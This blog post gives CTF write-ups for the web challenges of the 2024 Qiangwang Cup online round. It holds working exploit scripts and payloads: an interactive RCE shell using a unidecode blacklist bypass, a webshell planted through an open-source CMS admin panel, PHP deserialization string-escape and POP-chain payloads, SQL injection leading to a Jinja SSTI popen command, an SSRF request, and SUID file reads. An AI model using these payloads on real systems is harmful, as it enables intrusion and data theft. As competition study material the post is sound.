yemaster的小窝

第八届强网杯线上赛Web部分Writeup

2024-11-05
18

Reference

Nebula 战队 - 强网杯 2024 初赛 WRITEUP

Pyblockly

首先阅读后端代码,发现是直接根据上传的blockly块拼接成python代码后运行。其中,text块很危险,因为我们能自己控制内容:

    elif block_type == 'text':
        if check_for_blacklisted_symbols(block['fields']['TEXT']):
            code = ''
        else:
            code =  "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"

但是有恶意字符检查。但是发现用了unidecode,因此特殊字符可以用其他的字符来代替:

import unidecode
import json

ok = {}
banned = "!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~"

def pad(s, n):
    return '0' * (n - len(s)) + s
for i in range(256, 65536):
    z = unidecode.unidecode(chr(i))
    for j in banned:
        if j == z:
            ok[j] = '\\u' + pad(hex(i)[2:], 4)
            break
print(json.dumps(ok))

之后,就可以执行任意python代码了。但是加了audithook,event_name不能超过4。修改了len函数之后就可以直接绕过这个限制,于是就可以rce了:

import requests
import threading

d = {"\n": "\\n", "@": "\\u018f", "|": "\\u01c0", "!": "\\u01c3", "^": "\\u0245", "?": "\\u0294", "'": "\\u02b9", "\"": "\\u02ba", "`": "\\u02bb", "<": "\\u02c2", ">": "\\u02c3", "-": "\\u02c9", "/": "\\u02ca", "\\": "\\u02cb", ",": "\\u02cc", "_": "\\u02cd", ":": "\\u02d0", ".": "\\u02d1", "+": "\\u02d6", "~": "\\u02dc", "=": "\\u02ed", ";": "\\u0387", "&": "\\u03d7", "%": "\\u066a", "*": "\\u066d", "#": "\\u06de", "{": "\\u070b", "}": "\\u070c", "]": "\\u0f3b", "(": "\\u207d", ")": "\\u207e", "[": "\\u27e6", "$": "\\u282b"}

def encode(s):
    return "".join(d.get(c, c) for c in s)

while True:
    com = input("$ ")
    code = encode(f"""')
try:
    __builtins__.len = lambda x: 0;
    __import__('os').system('{com}')
except Exception as e:
    print(e)
print('""")
    exp = '{"blocks":{"blocks": [{"type": "print","inputs": {"TEXT": {"block": {"type": "text","fields": {"TEXT": "' + code + '"}}}}}]}}'

    remote = "http://eci-2ze6n37avcrkcagnq19x.cloudeci1.ichunqiu.com:5000/blockly_json"
    r = requests.post(remote, data=exp, headers={"Content-Type": "application/json"})
    print(r.text)

/flag没有权限,于是用考虑用SUID权限的程序读取:

$ find / -user root -perm -4000 -print 2>/dev/null
/bin/su
/bin/ls
/bin/dd
/bin/mount
/bin/umount
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/passwd
/usr/bin/chsh

用dd读取即可

$ dd if=/flag
flag{7c1a4fe8981e295a78508a49146340b9}

Xiaohuanxiong

Github: https://github.com/forkable/xiaohuanxiong

根据https://github.com/forkable/xiaohuanxiong/tree/master/application/admin/controller,翻后台的每一个功能的路由。发现 /admin/admins可以直接进入,于是添加一个管理员账号。

之后去 /admin/payment/index.html ,发现可以改php代码。加入一句话木马

阅读 https://github.com/forkable/xiaohuanxiong/blob/master/application/admin/controller/Payment.php
发现写入的是 config/payment.php 文件,然后用蚁剑连接即可。

Platform

首先www.zip下载源码

目标是反序列化触发这个类,因为会把恶意字符串替换,利用长度的变化,手动让session_key变成这个类。

class notouchitsclass {
  public $data;

    public function __construct($data) {
        $this->data = $data;
    }

    public function __destruct() {
        eval($this->data);
    }
}

filter里用的是置空,有字符逃逸可以利用

$sessionData = str_replace($function, '', $sessionData);

构造如下:

  • User: s:56:"execevalexecevalexecevalexecevalexecexecexecevalexeceval";
  • Password: s:98:";session_key|O:15:"notouchitsclass":1:{s:4:"data";s:17:"syssystemtem($_GET[1]);";}password|s:1:"a";

也就是:

user|s:56:"execevalexecevalexecevalexecevalexecexecexecevalexeceval";session_key|s:20:"12345678901234567890";password|s:98:";session_key|O:15:"notouchitsclass":1:{s:4:"data";s:17:"syssystemtem($_GET[1]);";}password|s:1:"a";

替换后变成

user|s:56:"";session_key|s:20:"12345678901234567890";password|s:98:";session_key|O:15:"notouchitsclass":1:{s:4:"data";s:17:"system($_GET[1]);";}password|s:1:"a";

这样子替换后恰好可以满足对应的长度,但是让session_key成功变成了恶意的类notouchitsclass,这样在最后被销毁的时候,就能触发__destruct()执行恶意代码了。

  • user: s:56:"";session_key|s:20:"12345678901234567890";password|s:98:"
  • session_key: O:15:"notouchitsclass":1:{s:4:"data";s:17:"system($_GET[1]);";}
  • password: s:1:"a"

flag文件加了权限,但是/readflag有suid权限,所以直接运行readflag即可。

Payload:

import requests

url = "http://eci-2zect3m6hd68llgpi5t4.cloudeci1.ichunqiu.com"

data = {
    'password': ';session_key|O:15:"notouchitsclass":1:{s:4:"data";s:17:"syssystemtem($_GET[1]);";}password|s:1:"a',
    'username': 'execevalexecevalexecevalexecevalexecexecexecevalexeceval'
}

while True:
    s = requests.session()
    r = s.post(url + '/index.php', data=data, allow_redirects=False)
    r = s.post(url + '/index.php', data=data, allow_redirects=False)
    r = s.post(url + '/dashboard.php?1=/readflag', allow_redirects=False)
    if "flag" in r.text:
        print(r.text)
        break
    s.close()

Snake

首先写一个贪吃蛇算法玩到一定分数,得到路由/snake_win

username参数有sqlite注入点,表里是空的

但select得到的结果用模板渲染,有SSTI漏洞可以执行命令

import requests

url = 'http://eci-2zeg97hlr4shfblexsvo.cloudeci1.ichunqiu.com:5000/'
cookies = {
    'session': 'eyJ1c2VybmFtZSI6ImJyZWFsaWQifQ.ZyYSEg.HJkZ6bMLKOMoPaDiGJ8rlMuDgG0'
}

d = 'RIGHT'

def can_move(snakelist, nextp):
    board = [[0 for _ in range(20)] for _ in range(20)]
    for x, y in snakelist:
        board[x][y] = 1
    tx, ty = snakelist[-1]
    q = [nextp]
    board[nextp[0]][nextp[1]] = 2
    p = 0
    while p < len(q):
        x, y = q[p]
        p += 1
        if abs(x - tx) + abs(y - ty) == 1:
            return True
        for nx, ny in [[x - 1, y], [x + 1, y], [x, y - 1], [x, y + 1]]:
            if 0 <= nx <= 19 and 0 <= ny <= 19:
                if board[nx][ny] == 0:
                    q.append([nx, ny])
                    board[nx][ny] = 2
    return False
        
try:
    while True:
        response = requests.post(url + 'move', cookies=cookies, json={'direction': d}).json()
        print(response)
        
        board = [[' ' for _ in range(20)] for _ in range(20)]
        for x, y in response['snake']:
            board[x][y] = 'X'
        board[response['food'][0]][response['food'][1]] = '$'
        board[response['snake'][0][0]][response['snake'][0][1]] = '@'
        print('=' * 100)
        for i in range(20):
            for j in range(20):
                print(board[i][j], end = ' ' if j < 19 else '\n')
        
        x, y = response['snake'][0]
        tx, ty = response['food']
        d = '?'
        if x < tx:
            if [x + 1, y] not in response['snake'] and can_move(response['snake'], [x + 1, y]):
                d = 'RIGHT'
        if x > tx:
            if [x - 1, y] not in response['snake'] and can_move(response['snake'], [x - 1, y]):
                d = 'LEFT'
        if y < ty:
            if [x, y + 1] not in response['snake'] and can_move(response['snake'], [x, y + 1]):
                d = 'DOWN'
        if y > ty:
            if [x, y - 1] not in response['snake'] and can_move(response['snake'], [x, y - 1]):
                d = 'UP'
        if d == '?':
            if [x + 1, y] not in response['snake'] and x + 1 <= 19 and can_move(response['snake'], [x + 1, y]):
                d = 'RIGHT'
            if [x - 1, y] not in response['snake'] and x - 1 >= 0 and can_move(response['snake'], [x - 1, y]):
                d = 'LEFT'
            if [x, y + 1] not in response['snake'] and y + 1 <= 19 and can_move(response['snake'], [x, y + 1]):
                d = 'DOWN'
            if [x, y - 1] not in response['snake'] and y - 1 >= 0 and can_move(response['snake'], [x, y - 1]):
                d = 'UP'
import requests

url = 'http://eci-2ze5o4vs0w9lprgwd8uy.cloudeci1.ichunqiu.com:5000/snake_win'

while True:
    sql = input('> ')
    response = requests.get(url, params={'username': f'{-1}\' union {sql} --'})
    # <p>Your best time: 0 seconds</p>
    text = response.text.split('<p>Your best time: ')[-1].split(' seconds</p>')[0]
    print(text)
select 1,2,'{{"".__class__.__bases__[0].__subclasses__()[117].__init__.__globals__["popen"]("cat /flag").read()}}'
flag{aafe90b4-d264-4b14-ab30-2add42ccc53b}

Proxy

直接POST /v2/api/proxy ,让 v2 去访问 v1 就拿到 flag 了:

{
    "url": "http://127.0.0.1:8769/v1/api/flag",
    "method": "POST"
}
{"flag":"ZmxhZ3tiNDUzMWI5OS01YTU4LTQ0ZjMtOGEwOS0wZjcwNjk5OTZjMmF9"}

Password Game

Rule 1: 请至少包含数字和大小写字母

Rule 2: 密码中所有数字之和必须为xxx的倍数,30

Rule 3: 请密码中包含下列算式的解(如有除法,则为整除): 19085-25

Rule 4: 密码长度不能超过170.

中场休息。 sleep(1);
现在你可以拿到flag了。
function filter($password){
    $filter_arr = array("admin","2024qwb");
    $filter = '/'.implode("|",$filter_arr).'/i';
    return preg_replace($filter,"nonono",$password);
}
class guest{
    public $username;
    public $value;
    public function __tostring(){
        if($this->username=="guest"){
            $value();
        }
        return $this->username;
    }
    public function __call($key,$value){
        if($this->username==md5($GLOBALS["flag"])){
            echo $GLOBALS["flag"];
        }
    }
}
class root{
    public $username;
    public $value;
    public function __get($key){
        if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
            $this->value = $GLOBALS["flag"];
            echo md5("hello:".$this->value);
        }
    }
}
class user{
    public $username;
    public $password;
    public $value;
    public function __invoke(){
        $this->username=md5($GLOBALS["flag"]);
        return $this->password->guess();
    }
    public function __destruct(){
        if(strpos($this->username, "admin") == 0 ){
            echo "hello".$this->username;
        }
    }
}
$user=unserialize(filter($_POST["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
    echo "hello!";
}

绕过admin和2024qwb可以用16进制,绕过。首先把s改成大写S,然后用16进制就可以。

O:4:"root":2:{s:8:"username";S:13:"\61dmin69292690";s:5:"value";S:7:"2024qw\62";}

接着构造POP链:

从root开始,访问password会触发__get方法,因为username是用strpos比较,用user传给username,password作为"admin",然后value就正常设也是可以正常触发。再让root的value是正常的2024qwb,这样子root的value就变成了flag,把user的username改成root的value的引用,这样子user被destroy的时候就会输出flag。

<?php
class root{
    public $username;
    public $value;
}
class user{
    public $username;
    public $password;
    public $value;
}
$a = new root();
$b = new user();
$b->username = &$a->value;
$b->password = "admin19060";
$a->username = $b;
$a->value = "2024qwb";
echo serialize($a);
?>

最终payload:

O:4:"root":2:{s:8:"username";O:4:"user":3:{s:8:"username";S:7:"2024qw\62";s:8:"password";S:11:"\61dmin190607";s:5:"value";N;}s:5:"value";R:3;}
分类标签:none

下一篇

没有了

目录